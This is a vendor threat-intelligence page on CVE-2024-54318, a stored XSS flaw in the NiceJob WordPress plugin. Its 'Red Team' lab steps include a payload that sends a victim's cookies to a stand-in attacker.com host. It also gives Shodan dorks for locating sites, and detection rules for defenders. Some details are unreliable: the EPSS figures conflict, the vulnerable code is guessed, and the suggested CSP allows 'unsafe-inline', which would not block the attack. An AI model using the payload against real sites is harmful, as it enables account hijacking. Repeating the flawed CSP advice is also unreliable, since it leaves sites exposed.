☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Nicejob logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-54318

CVE-2024-54318 Cross-Site Scripting in Nicejob
📅 PUBLISHED: 2024-12-13 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
4.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-54318 is a Stored Cross-Site Scripting (XSS) vulnerability in the NiceJob WordPress plugin (versions <= 3.6.5). The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the browsers of other users. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Given the CVSS score of 6.5 (Medium) and the EPSS score of 0.0%, exploitation is currently not widespread, but the lack of a vendor patch makes this a persistent risk for all sites running the vulnerable plugin. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. There is no known compromise of the plugin’s supply chain, but the lack of a patch means that all installations remain vulnerable indefinitely.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to inject the payload.
  • User Interaction (UI): Required (R) – The victim must visit the affected page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and lack of patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the NiceJob plugin’s handling of user-supplied data, likely in a testimonial, review, or feedback submission feature. The plugin does not sanitize or escape the input before storing it in the database and later rendering it on a page. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When an administrator or visitor loads the page displaying the stored content, the script executes in their browser context. This can be used to steal cookies, perform actions on behalf of the user, or redirect to phishing pages.

The attack flow:

  1. Attacker identifies a vulnerable input field (e.g., a review form).
  2. Attacker submits a malicious payload containing JavaScript.
  3. The payload is stored in the WordPress database.
  4. When the page is rendered, the payload is executed in the browser of any user viewing that page.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.6.5): The plugin likely outputs user input directly without escaping, e.g.:

echo $review_content;

Patched Code (Hypothetical): A proper fix would use WordPress’s built-in escaping functions:

echo esc_html( $review_content );

Since no official patch exists, users must implement a workaround (see Remediation).

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Install WordPress with NiceJob plugin version 3.6.5 on a local or isolated environment.
  2. Identify Input: Locate a form field that accepts user input (e.g., a testimonial submission form).
  3. Craft Payload: Use a simple XSS payload:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Submit: Submit the form with the payload.
  5. Trigger: As an admin, navigate to the page displaying the submitted content. The script will execute, sending the admin’s cookies to the attacker’s server.

Blue Team (Defense & Detection)

  1. Monitor Logs: Look for unusual POST requests to plugin-specific endpoints (e.g., /wp-admin/admin-ajax.php with action nicejob_submit_review).
  2. Web Application Firewall (WAF): Deploy rules to block common XSS patterns in form submissions.
  3. Content Security Policy (CSP): Implement a strict CSP header to mitigate script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    
  4. Input Validation: Use WordPress’s wp_kses() or sanitize_text_field() on all user inputs.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • File: Suspicious entries in the WordPress wp_posts or wp_postmeta tables containing <script> tags.
  • Log: Repeated 200 responses to /wp-admin/admin-ajax.php with action=nicejob_submit_review from the same IP.
  • Browser: Unexpected pop-ups, redirects, or console errors related to cross-origin requests.

Detection Engineering

YARA Rule

rule CVE_2024_54318_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in NiceJob plugin submissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54318"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $nicejob_action = "nicejob_submit_review"
    condition:
        $nicejob_action and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-54318 Stored XSS in NiceJob Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to NiceJob plugin endpoints containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=nicejob_submit_review'
        cs-request-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in reviews (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54318 Stored XSS in NiceJob Plugin"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=nicejob_submit_review"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the NiceJob plugin until a patch is available.
  2. Workaround: If the plugin must remain active, implement a web application firewall (WAF) rule to block <script> tags in POST requests to plugin endpoints.
  3. Code Fix (if you have access): Add output escaping to all user-supplied data:
    echo esc_html( $user_input );
    
  4. Monitor: Regularly check for updates from the vendor. If no patch is released, consider replacing the plugin with an alternative.
  5. User Education: Advise administrators to avoid clicking on suspicious links or submitting forms with unusual content.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"NiceJob"
http.html:"nicejob"
http.html:"wp-content/plugins/nicejob"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-54318/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.